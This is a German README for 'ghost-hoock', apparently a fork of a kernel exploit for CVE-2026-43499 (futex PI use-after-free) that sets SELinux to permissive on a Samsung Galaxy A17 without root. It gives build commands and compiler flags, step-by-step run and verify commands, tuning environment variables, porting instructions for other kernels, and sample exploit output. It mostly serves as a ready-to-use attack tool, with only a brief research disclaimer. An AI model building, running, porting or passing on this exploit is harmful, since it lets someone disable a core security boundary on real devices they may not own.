ghost-hoock

Ein minimaler Fork von GhostLock, der nur ein Primitiv beibehält: das Abschalten von SELinux über CVE-2026-43499 (futex PI UAF).

Inhaltsverzeichnis

• Was ist das
• Wie es funktioniert
• Was vom Original beibehalten wurde
• Was entfernt wurde
• Kompilieren
• Ausführen
• Voraussetzungen
• Einschränkungen und Risiken
• Projektstruktur
• Lizenz
• Danksagungen
• Links

Was ist das

ghost-hoock ist ein abgespeckter Fork des GhostLock-Exploits von Mobile Hacking Lab, reduziert auf ein einziges Primitiv:

Ein eingeschränkter Schreibzugriff über futex PI UAF -> selinux_enforcing = 0.

Kein Root, kein cred-Überschreiben, kein rwforge-Kanal, kein UMH, kein configfs. Nur das Minimum, das nötig ist, um SELinux auf dem verwundbaren Kernel in den permissiven Modus zu versetzen.

Beispielausgabe auf einem Samsung Galaxy A17 (SM-A175F, BZA5):

[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

Dann:

$ getenforce
Permissive

getenforce gibt Permissive zurück

Wie es funktioniert

Der Exploit zielt auf CVE-2026-43499 — einen Use-after-free in der futex-PI-Kette (Priority Inheritance) rt_mutex des Linux-Kernels. Die Kette in ghost-hoock besteht aus vier Schritten:

*(uint64_t *)target = value | color

Was vom Original beibehalten wurde

Dies ist ein Fork von mobilehackinglab/ghostlock-a17 (MIT). Folgendes wurde 1:1 aus dem Upstream-Exploit übernommen:

Hilfscode (pr_*-Makros, SYSCHK, pin_to_core, set_limit, set_unbuffer) wurde ebenfalls unverändert aus dem Original übernommen.

Was entfernt wurde

Das ursprüngliche GhostLock erlangt vollständiges Root auf dem A17: Es installiert einen rwforge-Physik-R/W-Kanal, patcht cred / real_cred, führt einen UMH-Helper mit Init-Credentials aus, erfasst Logs und mehr. In ghost-hoock ist alles nach dem ersten eingeschränkten Schreibzugriff entfernt.

Das ursprüngliche GhostLock bleibt vollständiger und mächtiger als dieser Fork. ghost-hoock ist kein Ersatz — es ist ein minimaler PoC für eine einzige enge Aufgabe: SELinux abzuschalten.

Kompilieren

Auf dem Gerät (clang, Termux oder adb shell)

Erfordert clang und make in $PATH. Getestet auf Termux; funktioniert auch über adb shell, wenn die Toolchain vorhanden ist.

git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make

Ausgabe: ./ghost-hoock (aarch64, PIE).

Über Android NDK (auf einem PC)

make NDK=/path/to/android-ndk-r26

oder manuell:

/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

Cross-Compile-Prüfung

file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

Ausführen

# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# confirm SELinux is currently enforcing
getenforce
# -> Enforcing

# run
/data/local/tmp/ghost-hoock

# verify
getenforce
# -> Permissive

Optionen

ghost-hoock [options]
  --attempts N   number of W1 attempts (default: 20)
  --no-drain     skip slab_drain before each W1 attempt
  -h, --help     show help

Umgebungsvariablen

· GHOSTLOCK_CORE — 0..N. CPU-Kern, an den der Consumer-Thread gebunden wird. Standard: 0. · KPHYS — 0x.... Physische Kernel-Ladeadresse, falls sie von P0_KERNEL_PHYS_LOAD abweicht. · PREPARE_SLABS — 4..64. Anzahl der während des Sprays vorbereiteten Slab-Seiten. Standard: 32. · PSELECT_SHIFT — -14..14. fd_set-Wortverschiebung. Nur zum Debuggen. · FOPS_MAX_ATTEMPTS — 4..72. Maximale prepare_kernel_page-Versuche für die FOPS-Payload. · RWF_DEBUG — beliebiger Wert. Debug-Zeilen aus der Payload-Konstruktion ausgeben.

Voraussetzungen

• Gerät: Samsung Galaxy A17 SM-A175F (BZA5) — das Ziel, für das diese Offset-Tabelle extrahiert wurde.
• Kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k.
• Kontext: muss aus dem SELinux-Kontext shell (u:r:shell:s0) ausgeführt werden, nicht aus einer App.
• Berechtigungen: nichts Besonderes — kein Root erforderlich. Der ganze Sinn besteht darin, SELinux ohne Root zu deaktivieren.

Portierung: andere Geräte/Kernel benötigen ihre eigene Offset-Tabelle. Fügen Sie einen neuen OFFSETS_ENTRY(...) in include/offsets_bza5.h mit Symbol-Offsets hinzu, die aus vmlinux/kallsyms für diesen Build extrahiert wurden, und kompilieren Sie dann neu.

Einschränkungen und Risiken

• Kernel-Panics sind möglich. Der Fork erbt das Risiko des Originals: eine falsche page_base oder ein Schreibzugriff, der auf unrelated Speicher landet, wird den Kernel zum Absturz bringen. Der Fork hat weniger Angriffsfläche als das Original (kein rwforge, kein cred-Patch, kein UMH), ist also statistisch sicherer, aber nicht 100% kugelsicher.
• KASLR ist auf BZA5 aus. Der Exploit verlässt sich auf slide = 0. Es gibt keinen KASLR-Leak in diesem Fork. Wenn Sie ihn auf einen KASLR-fähigen Kernel portieren, müssen Sie slide.c aus dem Original zurückbringen.
• Nur SELinux. Der Fork gibt kein Root. Er schreibt nur 0 nach selinux_enforcing. Wenn Sie Root benötigen, verwenden Sie das vollständige ghostlock-a17.
• Einzelner Schreibzugriff. Nur Write 1 (selinux_enforcing = 0) wird beibehalten. Versuchen Sie nicht, ihn zu Write 2 oder der rwforge-Pipeline zu erweitern, ohne die PI-Route tiefgehend zu verstehen.
• Erfordert, dass der Schreibzugriff innerhalb von ~20 Versuchen landet. Wenn der erste W1-Versuch fehlschlägt, wiederholt die Schleife. Bei einem frischen Boot mit einem größtenteils inaktiven System landet er typischerweise beim ersten Versuch.

Projektstruktur

ghost-hoock/
├── include/
│   ├── ghost_hoock.h              # shared header, API
│   ├── offset.h                   # TARGET_CONFIG_H dispatcher
│   ├── offsets_bza5.h             # symbol offsets (BZA5 only)
│   ├── runtime_struct_offsets.h   # dynamic struct offsets (_RSO macros)
│   └── target.h                   # BZA5 addresses, payload layout
├── src/
│   ├── main.c                     # CLI, offset selection, W1 loop
│   ├── spray.c                    # KernelSnitch + heap spray + ashmem
│   ├── route.c                    # PI route + pselect constrained write
│   └── kernelsnitch/              # mm_struct leak (from upstream)
│       ├── kernelsnitch.h
│       ├── futex_hash.h
│       ├── timeutils.h
│       └── utils.h
├── docs/
│   └── img/
│       └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md

Lizenz

MIT — wie das Upstream-ghostlock-a17. Siehe LICENSE.

Dieser Fork behält den ursprünglichen Copyright-Hinweis von mobilehackinglab (2026) bei und fügt die Fork-Autoren oben hinzu, wie es die MIT-Bedingungen erfordern.

Das Projekt wird ausschließlich für Sicherheitsforschung auf Ihrem eigenen Gerät veröffentlicht. Die Ausführung gegen ein Gerät, das Ihnen nicht gehört, ist in den meisten Rechtsordnungen illegal.

Danksagungen

• Mobile Hacking Lab — ursprünglicher ghostlock-a17-Exploit, auf dem dieser Fork aufbaut.
• IAIK KernelSnitch — mm_struct-Leak-Technik.
• Die ursprünglichen CVE-2026-43499-Forscher — für das Reverse-Engineering des futex PI UAF.

Links

• Upstream-Exploit: https://github.com/mobilehackinglab/ghostlock-a17
• Dieser Fork: https://github.com/genksome/ghost-hoock
• CVE: CVE-2026-43499

_{Für die Forschung entwickelt. Auf einem einzigen physischen Gerät getestet. Nutzung auf eigenes Risiko.}